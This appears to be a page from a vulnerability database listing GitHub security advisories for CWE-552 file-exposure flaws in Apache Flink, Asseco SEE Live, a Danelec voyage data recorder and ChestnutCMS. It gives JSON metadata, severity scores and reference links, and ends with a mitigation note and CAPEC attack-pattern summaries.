    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r88b55f3ebf1f8f4e1cc61f030252aaef4b77060b56557a243abb92a1@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r88b55f3ebf1f8f4e1cc61f030252aaef4b77060b56557a243abb92a1%40%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4e1b72bfa789ea5bc20b8afe56119200ed25bdab0eb80d664fa5bfe2@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4e1b72bfa789ea5bc20b8afe56119200ed25bdab0eb80d664fa5bfe2%40%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2fc60b30557e4a537c2a6293023049bd1c49fd92b518309aa85a0398@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2fc60b30557e4a537c2a6293023049bd1c49fd92b518309aa85a0398%40%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r28f17e564950d663e68cc6fe75756012dda62ac623766bb9bc5e7034@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r28f17e564950d663e68cc6fe75756012dda62ac623766bb9bc5e7034%40%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r26fcdd4fe288323006253437ebc4dd6fdfadfb5e93465a0e4f68420d@%3Cuser-zh.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r26fcdd4fe288323006253437ebc4dd6fdfadfb5e93465a0e4f68420d%40%3Cuser-zh.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r229167538863518738e02f4c1c5a8bb34c1d45dadcc97adf6676b0c1@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r229167538863518738e02f4c1c5a8bb34c1d45dadcc97adf6676b0c1%40%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7%40%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0a433be10676f4fe97ca423d08f914e0ead341c901216f292d2bbe83@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0a433be10676f4fe97ca423d08f914e0ead341c901216f292d2bbe83%40%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/flink"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160849/Apache-Flink-1.11.0-Arbitrary-File-Read-Directory-Traversal.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/01/05/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Path Traversal in Apache Flink"
}

GHSA-39XW-9QH5-7XJ4

Vulnerability from github – Published: 2026-03-12 21:34 – Updated: 2026-03-16 15:30
VLAI
Details

Local File Inclusion in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live 2.0 allows remote authenticated users to access files on the host via "path" parameter in the downloadAttachment and downloadAttachmentFromPath API calls.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-66955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-12T19:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Local File Inclusion in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live 2.0 allows remote authenticated users to access files on the host via \"path\" parameter in the downloadAttachment and downloadAttachmentFromPath API calls.",
  "id": "GHSA-39xw-9qh5-7xj4",
  "modified": "2026-03-16T15:30:34Z",
  "published": "2026-03-12T21:34:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TheWoodenBench/CVE-2025-66955"
    },
    {
      "type": "WEB",
      "url": "https://live.asee.io"
    },
    {
      "type": "WEB",
      "url": "http://asseco.com"
    },
    {
      "type": "WEB",
      "url": "http://live.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3CP8-799V-MWXM

Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31
VLAI
Details

The administrator account for the

Danelec MacGregor Voyage Data Recorder web interface can directly edit sensitive files related to authentication, potentially changing the root password.

Severity
5.7 (Medium)
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-40425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T19:16:23Z",
    "severity": "MODERATE"
  },
  "details": "The administrator account for the\n\nDanelec MacGregor Voyage Data Recorder\nweb interface can directly edit sensitive files related to authentication, potentially changing the root password.",
  "id": "GHSA-3cp8-799v-mwxm",
  "modified": "2026-05-29T21:31:21Z",
  "published": "2026-05-29T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-148-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-148-01"
    },
    {
      "type": "WEB",
      "url": "https://www.danelec.com/contact"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3GXQ-M6PM-Q3FJ

Vulnerability from github – Published: 2025-02-03 21:31 – Updated: 2025-02-04 21:32
VLAI
Details

ChestnutCMS <=1.5.0 has an arbitrary file deletion vulnerability in contentcore.controller.FileController, which allows attackers to delete any file and folder.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-57452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T20:15:34Z",
    "severity": "HIGH"
  },
  "details": "ChestnutCMS \u003c=1.5.0 has an arbitrary file deletion vulnerability in contentcore.controller.FileController, which allows attackers to delete any file and folder.",
  "id": "GHSA-3gxq-m6pm-q3fj",
  "modified": "2025-02-04T21:32:28Z",
  "published": "2025-02-03T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57452"
    },
    {
      "type": "WEB",
      "url": "https://locrian-lightning-dc7.notion.site/File-Delete-1628e5e2b1a280cfb497de7b8bcff128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

CAPEC-150: Collect Data from Common Resource Locations

An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks.

CAPEC-639: Probe System Files

An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.

← Back to the CWE list